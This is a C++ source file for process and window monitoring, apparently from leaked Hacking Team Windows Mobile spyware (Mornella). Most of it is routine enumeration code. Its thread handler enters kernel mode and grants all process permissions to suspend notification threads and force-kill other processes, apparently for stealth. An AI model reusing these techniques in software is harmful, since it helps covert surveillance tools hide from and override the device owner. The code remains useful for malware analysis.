hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/ProcessMonitor.cpp

Summary

Maintainability
Test Coverage
#include "ProcessMonitor.h"
#include <aygshell.h>

/**
* La nostra unica reference windowList Process. La gestione della concorrenza viene fatta internamente
*/
ProcessMonitor* ProcessMonitor::Instance = NULL;
//list<WindowEntry> Process::pWindowList;
volatile LONG ProcessMonitor::lLock = 0;

ProcessMonitor* ProcessMonitor::self() {
    while (InterlockedExchange((LPLONG)&lLock, 1) != 0)
        Sleep(1);

    if (Instance == NULL)
        Instance = new(std::nothrow) ProcessMonitor();

    InterlockedExchange((LPLONG)&lLock, 0);

    return Instance;
}

ProcessMonitor::ProcessMonitor() : hSnap(INVALID_HANDLE_VALUE), hProcessMutex(NULL), 
hWindowMutex(NULL) {
    ZeroMemory(&pe, sizeof(pe));
    ZeroMemory(&procEntry, sizeof(procEntry));

    ulTime = 0;
    ulWinTime = 0;

    hProcessMutex = CreateMutex(NULL, FALSE, NULL);
    hWindowMutex = CreateMutex(NULL, FALSE, NULL);
}

ProcessMonitor::~ProcessMonitor() {
    pList.clear();
    pWindowList.clear();

    if (hSnap != INVALID_HANDLE_VALUE)
        CloseToolhelp32Snapshot(hSnap);

    if (hProcessMutex != NULL)
        CloseHandle(hProcessMutex);

    if (hWindowMutex != NULL)
        CloseHandle(hWindowMutex);
}

UINT ProcessMonitor::GetPid(const WCHAR *pProcName) {
    list<ProcessEntry>::iterator iter;

    if (RefreshProcessList() == FALSE)
        return FALSE;

    WAIT_AND_SIGNAL(hProcessMutex);

    if (pList.size() == 0 || pProcName == NULL || wcslen(pProcName) == 0) {
        UNLOCK(hProcessMutex);
        return 0;
    }

    for (iter = pList.begin(); iter != pList.end(); ++iter) {
        if (_wcsnicmp(pProcName, (*iter).pe.szExeFile, MAX_PATH) == 0) {
            UNLOCK(hProcessMutex);
            return (*iter).pe.th32ProcessID;
        }
    }

    UNLOCK(hProcessMutex);
    return 0;
}

UINT ProcessMonitor::GetPidW(const WCHAR *pProcName) {
    list<ProcessEntry>::iterator iter;

    if (RefreshProcessList() == FALSE)
        return FALSE;

    WAIT_AND_SIGNAL(hProcessMutex);

    if (pList.size() == 0 || pProcName == NULL || wcslen(pProcName) == 0) {
        UNLOCK(hProcessMutex);
        return 0;
    }

    for (iter = pList.begin(); iter != pList.end(); ++iter) {
        if (CmpWildW(pProcName, (*iter).pe.szExeFile) != 0) {
            UNLOCK(hProcessMutex);
            return (*iter).pe.th32ProcessID;
        }
    }

    UNLOCK(hProcessMutex);
    return 0;
}

BOOL ProcessMonitor::IsProcessRunning(const WCHAR *pProcName) {
    if (GetPid(pProcName))
        return TRUE;

    return FALSE;
}

BOOL ProcessMonitor::IsProcessRunningW(const WCHAR *pProcName) {
    if (GetPidW(pProcName))
        return TRUE;

    return FALSE;
}

BOOL ProcessMonitor::RefreshProcessList() {
    ProcessEntry tProcEntry;
    unsigned __int64 utTime;

    WAIT_AND_SIGNAL(hProcessMutex);

    utTime = GetTime();

    // Refreshamo la lista solo se sono passati piu' di 3 secondi
    if (DiffTime(utTime, ulTime) < 3000) {
        UNLOCK(hProcessMutex);
        return TRUE;
    }

    ulTime = utTime;

    pe.dwSize = sizeof(pe);

    if (hSnap != INVALID_HANDLE_VALUE) {
        CloseToolhelp32Snapshot(hSnap);
        hSnap = INVALID_HANDLE_VALUE;
    }

    pList.clear();

    // Il secondo flag e' un undocumented che serve per windowList a NON richiedere la lista
    // degli heaps altrimenti la funzione fallisce sempre per mancanza di RAM.
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPNOHEAPS, 0);
    
    if (hSnap == INVALID_HANDLE_VALUE) {
        SHCloseApps(10000000); // Liberiamo 10Mb e riproviamo

        hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPNOHEAPS, 0);

        if (hSnap == INVALID_HANDLE_VALUE) {
            UNLOCK(hProcessMutex);
            return FALSE;
        }
    }

    if (Process32First(hSnap, &pe) == FALSE) {
        if (GetLastError() == ERROR_NO_MORE_FILES) {
            UNLOCK(hProcessMutex);
            return TRUE;
        }

        UNLOCK(hProcessMutex);
        return FALSE;
    }

    tProcEntry.bTriggered = FALSE;
    CopyMemory(&tProcEntry.pe, &pe, sizeof(pe));

    pList.push_back(tProcEntry);

    while (Process32Next(hSnap, &pe)) {
        tProcEntry.bTriggered = FALSE;
        CopyMemory(&tProcEntry.pe, &pe, sizeof(pe));

        pList.push_back(tProcEntry);
    }

    if (GetLastError() == ERROR_NO_MORE_FILES) {
        UNLOCK(hProcessMutex);
        return TRUE;
    }

    UNLOCK(hProcessMutex);
    return FALSE;
}

BOOL ProcessMonitor::GetProcessList(list<ProcessEntry> &pRetList) {
    pRetList.clear();
    RefreshProcessList();

    WAIT_AND_SIGNAL(hProcessMutex);
    pRetList = pList;
    UNLOCK(hProcessMutex);

    return TRUE;
}

wstring ProcessMonitor::GetProcessDescription(DWORD dwPid) {
    struct LANGANDCODEPAGE {
        WORD wLanguage;
        WORD wCodePage;
    } *pLangAndCodePage;

    UINT cbTranslate = 0, cbDesc = 0;
    HANDLE hProc;
    BYTE *bFileInfo;
    WCHAR *pwDescription;
    DWORD dwInfoSize, dwDummy;
    WCHAR wProcessPath[MAX_PATH+1];
    WCHAR wFileDescName[128];
    wstring wDescription;
                                            
    if ((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid)) == NULL) 
        return wDescription;

    if (GetModuleFileName((HMODULE)hProc, wProcessPath, sizeof(wProcessPath) / sizeof(WCHAR)) == 0) {
        CloseHandle(hProc);
        return wDescription;
    }

    CloseHandle(hProc);

    if ((dwInfoSize = GetFileVersionInfoSize(wProcessPath, &dwDummy)) == 0 )
        return wDescription;

    bFileInfo = new(std::nothrow) BYTE[dwInfoSize];

    if (bFileInfo == NULL)
        return wDescription;

    if (!GetFileVersionInfo(wProcessPath, NULL, dwInfoSize, bFileInfo)) {
        delete[] bFileInfo;
        return wDescription;
    }

    if (!VerQueryValue(bFileInfo, L"\\VarFileInfo\\Translation", (LPVOID*)&pLangAndCodePage, &cbTranslate) || cbTranslate < sizeof(struct LANGANDCODEPAGE)) {
        delete[] bFileInfo;
        return wDescription;
    }

    swprintf(wFileDescName, L"\\StringFileInfo\\%04x%04x\\FileDescription", pLangAndCodePage[0].wLanguage, pLangAndCodePage[0].wCodePage);

    if (VerQueryValue(bFileInfo, wFileDescName, (LPVOID *)&pwDescription, &cbDesc) && cbDesc > 0) 
        wDescription = pwDescription;

    delete[] bFileInfo;
    return wDescription;
}

BOOL ProcessMonitor::RefreshWindowList() {
    unsigned __int64 utTime;

    WAIT_AND_SIGNAL(hWindowMutex);

    utTime = GetTime();

    // Refreshiamo la lista solo se sono passati piu' di 3 secondi
    if (DiffTime(utTime, ulWinTime) < 3000) {
        UNLOCK(hWindowMutex);
        return TRUE;
    }

    ulTime = utTime;

    pWindowList.clear();
    
    if (EnumWindows(&EnumCallback, (LPARAM)&pWindowList) == FALSE) {
        UNLOCK(hWindowMutex);
        return FALSE;
    }

    UNLOCK(hWindowMutex);
    return TRUE;
}

BOOL ProcessMonitor::IsWindowPresent(const WCHAR *pWindowName) {
    list<WindowEntry>::iterator iterWindow;

    if (RefreshWindowList() == FALSE)
        return FALSE;

    WAIT_AND_SIGNAL(hWindowMutex);

    if (pWindowList.size() == 0 || pWindowName == NULL || wcslen(pWindowName) == 0) {
        UNLOCK(hWindowMutex);
        return FALSE;
    }
 
    for (iterWindow = pWindowList.begin(); iterWindow != pWindowList.end(); ++iterWindow) {
        if (CmpWildW(pWindowName, (*iterWindow).wWindowTitle) != 0) {
            UNLOCK(hWindowMutex);
            return TRUE;
        }
    }

    UNLOCK(hWindowMutex);
    return FALSE;
}

// Compara due stringhe con wildcard, torna 0 se le stringhe sono diverse
INT ProcessMonitor::CmpWildW(const WCHAR *wild, const WCHAR *searchString) {
    WCHAR *cp = NULL, *mp = NULL;

    while ((*searchString) && (*wild != '*')) {
        if ((towupper((WCHAR)*wild) != towupper((WCHAR)*searchString)) && (*wild != '?')) {
            return 0;
        }

        wild++;
        searchString++;
    }

    while (*searchString) {
        if (*wild == '*') {
            if (!*++wild) {
                return 1;
            }

            mp = (PWCHAR)wild;
            cp = (PWCHAR)searchString + 1;
        } else if ((towupper((WCHAR)*wild) == towupper((WCHAR)*searchString)) || (*wild == '?')) {
            wild++;
            searchString++;
        } else {
            wild = mp;
            searchString = cp++;
        }
    }

    while (*wild == '*') {
        wild++;
    }

    return !*wild;
}

BOOL CALLBACK ProcessMonitor::EnumCallback(HWND hwnd, LPARAM lParam) {
    WindowEntry tWindowEntry;
    list<WindowEntry> *windowList = ((list<WindowEntry> *)lParam);

    tWindowEntry.bTriggered = FALSE;
    
    if (GetWindowText(hwnd, tWindowEntry.wWindowTitle, MAX_TITLE_LEN) && tWindowEntry.wWindowTitle[0] != 0) {
        windowList->push_back(tWindowEntry);
    }

    return TRUE;
}

extern "C" {
    BOOL WINAPI SetKMode(BOOL fMode);
    DWORD WINAPI SetProcPermissions(DWORD);
    LPVOID WINAPI MapPtrToProcess (LPVOID lpv, HANDLE hProc);
    LPVOID WINAPI MapPtrUnsecure(LPVOID lpv, HANDLE hProc);
    HLOCAL WINAPI LocalAllocInProcess(UINT uFlags, UINT uBytes, HANDLE hProc); 
    HLOCAL WINAPI LocalFreeInProcess(HLOCAL hMem, HANDLE hProc); 
    HANDLE WINAPI LoadKernelLibrary(LPCWSTR lpszFileName);
    int QueryAPISetID(char *pName);

    typedef struct _CALLBACKINFO {
        HANDLE m_hDestProcess;
        FARPROC m_pFunction;
        PVOID m_pFirstArgument;
    } CALLBACKINFO, *pCALLBACKINFO;

    DWORD WINAPI PerformCallBack4(CALLBACKINFO *pcbi, ...);
};

#define PROC_FIND            0x0
#define PROC_TERMINATE        0x1

#define TH_MASK          0x000000F0

#define TH_BY_PRI            0x10
#define TH_TERMINATE_BY_PRI    0x11
#define TH_SUSPEND_BY_PRI    0x12
#define TH_RESUME_BY_PRI    0x13

#define TH_ALL                0x20
#define TH_TERMINATE_ALL    0x21
#define TH_SUSPEND_ALL        0x22
#define TH_RESUME_ALL        0x23

DWORD ProcessMonitor::ThreadHandler( DWORD dwProc, DWORD dwMode, DWORD dwValue )
{
    BOOL bOut = FALSE;
    DWORD dwErr = -1, dwOut = -1, dwOldPerm;
    HANDLE hSnapTh = INVALID_HANDLE_VALUE;
    THREADENTRY32  te;
    ZeroMemory(&te, sizeof(THREADENTRY32));
    te.dwSize = sizeof(THREADENTRY32);

    hSnapTh = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD | TH32CS_SNAPNOHEAPS, dwProc);

    if (hSnapTh == INVALID_HANDLE_VALUE) {
        if (FALSE == SHCloseApps((0xA00000))) {
            return NULL;
        }
        hSnapTh = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD | TH32CS_SNAPNOHEAPS, dwProc);
        if (hSnapTh == INVALID_HANDLE_VALUE) {
            return NULL;
        }
    }

    if (Thread32First(hSnapTh, &te)) {
        do {
            if (dwProc == te.th32OwnerProcessID) {
                
                if ((dwMode&TH_MASK) == TH_BY_PRI) {
                    if (te.tpBasePri == dwValue) {
                        SetLastError(0);

                        dwOut =    te.th32ThreadID;

                        if (dwMode == TH_TERMINATE_BY_PRI)    {

                            if (TerminateThread((HANDLE)te.th32ThreadID, 0) == TRUE) {
                                dwOut = 0;
                            }
                        }

                        if (dwMode == TH_SUSPEND_BY_PRI) {
                            SetKMode(TRUE);
                            dwOldPerm = SetProcPermissions(0xFFFFFFFF);

                            if (SuspendThread((HANDLE)te.th32ThreadID) != 0xFFFFFFFF) {
                                dwOut =    te.th32ThreadID;
                            }
                        }

                        if (dwMode == TH_RESUME_BY_PRI) {
                            SetKMode(TRUE);
                            dwOldPerm = SetProcPermissions(0xFFFFFFFF);

                            if (ResumeThread((HANDLE)te.th32ThreadID) != 0xFFFFFFFF) {
                                dwOut = te.th32ThreadID;;
                            }
                        }

                        break;                    
                    }
                }

                if ((dwMode&TH_MASK) == TH_ALL) {

                    if (dwMode == TH_TERMINATE_ALL)    {

                        if (TerminateThread((HANDLE)te.th32ThreadID, 0) == TRUE) {
                            dwOut = 0;
                        }
                    }

                    if (dwMode == TH_SUSPEND_ALL) {
                        SetKMode(TRUE);
                        dwOldPerm = SetProcPermissions(0xFFFFFFFF);

                        if (SuspendThread((HANDLE)te.th32ThreadID) != 0xFFFFFFFF) {
                            dwOut =    te.th32ThreadID;
                        }
                    }

                    if (dwMode == TH_RESUME_ALL) {
                        SetKMode(TRUE);
                        dwOldPerm = SetProcPermissions(0xFFFFFFFF);

                        if (ResumeThread((HANDLE)te.th32ThreadID) != 0xFFFFFFFF) {
                            dwOut = te.th32ThreadID;;
                        }
                    }
                }
            }
        } while (Thread32Next(hSnapTh, &te));
    }

    if (dwOldPerm != 0)
        SetProcPermissions(dwOldPerm);
    SetKMode(FALSE);

    if (hSnapTh != INVALID_HANDLE_VALUE && hSnapTh != NULL)
        CloseToolhelp32Snapshot(hSnapTh);

    return dwOut;
}

BOOL ProcessMonitor::ProcessHandler( wstring wszProcessName, DWORD dwMode, DWORD dwValue )
{
    BOOL bOut = FALSE;
    HANDLE hTH = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(PROCESSENTRY32));
    pe.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProc = INVALID_HANDLE_VALUE;

    hTH = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPNOHEAPS, 0);

    if (hTH == INVALID_HANDLE_VALUE) {
        if (FALSE == SHCloseApps((0xA00000))) {
            DBG_TRACE(L"ProcessMonitor ProcessHandler CreateToolhelp32Snapshot FAILED ", 5, FALSE);
            return FALSE;
        }
        hTH = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPNOHEAPS, 0);
        if (hTH == INVALID_HANDLE_VALUE) {
            DBG_TRACE(L"ProcessMonitor ProcessHandler CreateToolhelp32Snapshot FAILED ", 5, FALSE);
            return FALSE;
        }
    }

    if (Process32First(hTH, &pe)) {
        do {
            if (wcsicmp(wszProcessName.c_str(), pe.szExeFile) == 0) {
                
                hProc = OpenProcess(0, FALSE, pe.th32ProcessID);

                if (hProc != INVALID_HANDLE_VALUE && hProc != NULL) {

                    switch(dwMode) {
                        case PROC_TERMINATE: {
                            bOut = TerminateProcess(hProc, 1);
                            DBG_TRACE_INT(L"ProcessMonitor ProcessHandler TerminateProcess1 bOut: ", 5, TRUE, bOut);
                            
                            if (bOut == FALSE) {
                                if (hProc)
                                    CloseHandle(hProc);
                                BOOL bKMode = SetKMode(TRUE);
                                DWORD dwProcPerm = SetProcPermissions(0xFFFFFFFF);

                                hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
                                if (hProc != INVALID_HANDLE_VALUE && hProc != NULL) {
                                    bOut = TerminateProcess(hProc, 1);
                                }
                                
                                DBG_TRACE_INT(L"ProcessMonitor ProcessHandler TerminateProcess2 bOut: ", 5, TRUE, bOut);

                                SetProcPermissions(dwProcPerm);
                                SetKMode(bKMode);
                                if (hProc)
                                    CloseHandle(hProc);
                            }
                            break;
                        }
                        case PROC_FIND:
                            bOut = TRUE;
                            break;
                        default:
                            if (dwMode&TH_MASK)
                                if (ThreadHandler(pe.th32ProcessID, dwMode, dwValue) != -1)
                                    bOut = TRUE;
                            break;
                    }

                    CloseHandle(hProc);
                    break;
                }
            }
        } while (Process32Next(hTH, &pe));
    }

    CloseToolhelp32Snapshot(hTH);
    return bOut;
}

BOOL ProcessMonitor::ResumeNotificationThread(wstring wszProcessName)
{
    if (ProcessHandler(wszProcessName.c_str(), TH_RESUME_BY_PRI, 248) == TRUE)
        return TRUE;

    return FALSE;
}

BOOL ProcessMonitor::ResumeAllThread(wstring wszProcessName)
{
    if (ProcessHandler(wszProcessName.c_str(), TH_RESUME_ALL, 0) == TRUE)
        return TRUE;

    return FALSE;
}

BOOL ProcessMonitor::SuspendNotificationThread(wstring wszProcessName)
{
    if (ProcessHandler(wszProcessName.c_str(), TH_SUSPEND_BY_PRI, 248) == TRUE)
        return TRUE;
    
    return FALSE;
}

BOOL ProcessMonitor::SuspendAllThread(wstring wszProcessName)
{
    if (ProcessHandler(wszProcessName.c_str(), TH_SUSPEND_ALL, 0) == TRUE)
        return TRUE;

    return FALSE;
}

BOOL ProcessMonitor::KillProcess(wstring wszProcessName)
{
    if (ProcessHandler(wszProcessName.c_str(), PROC_TERMINATE, 0) == TRUE) {
        return TRUE;
    }

    if (ProcessHandler(wszProcessName, PROC_FIND, 0) == FALSE) {
        DBG_TRACE(L"ProcessMonitor KillProcess ProcessHandler PROC_FIND PROC NOT FOUND ", 5, FALSE);
        return TRUE;    
    }

    return FALSE;
}

BOOL ProcessMonitor::StartProcess(wstring wszProcessName, wstring wszProcessPath, wstring wszProcessOptions)
{
    wszProcessPath.append(wszProcessName);

    if (wszProcessName.length() == 0 || wszProcessPath.length() == 0) {
        return FALSE;
    }

    if (ProcessHandler(wszProcessName, PROC_FIND, 0) == TRUE) {
        return FALSE;    
    }

    SHELLEXECUTEINFO shExecInfo;
    ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFO));
    shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);

    shExecInfo.fMask    = SEE_MASK_FLAG_NO_UI;
    shExecInfo.lpVerb    = L"Open";
    shExecInfo.lpFile    = wszProcessPath.c_str();
    shExecInfo.lpParameters = wszProcessOptions.c_str();

    return ShellExecuteEx(&shExecInfo);
}

BOOL ProcessMonitor::RestartProcess(wstring wszProcessName, wstring wszProcessPath, wstring wszProcessOptions) 
{
    KillProcess(wszProcessName);
    return StartProcess(wszProcessName, wszProcessPath, wszProcessOptions);
}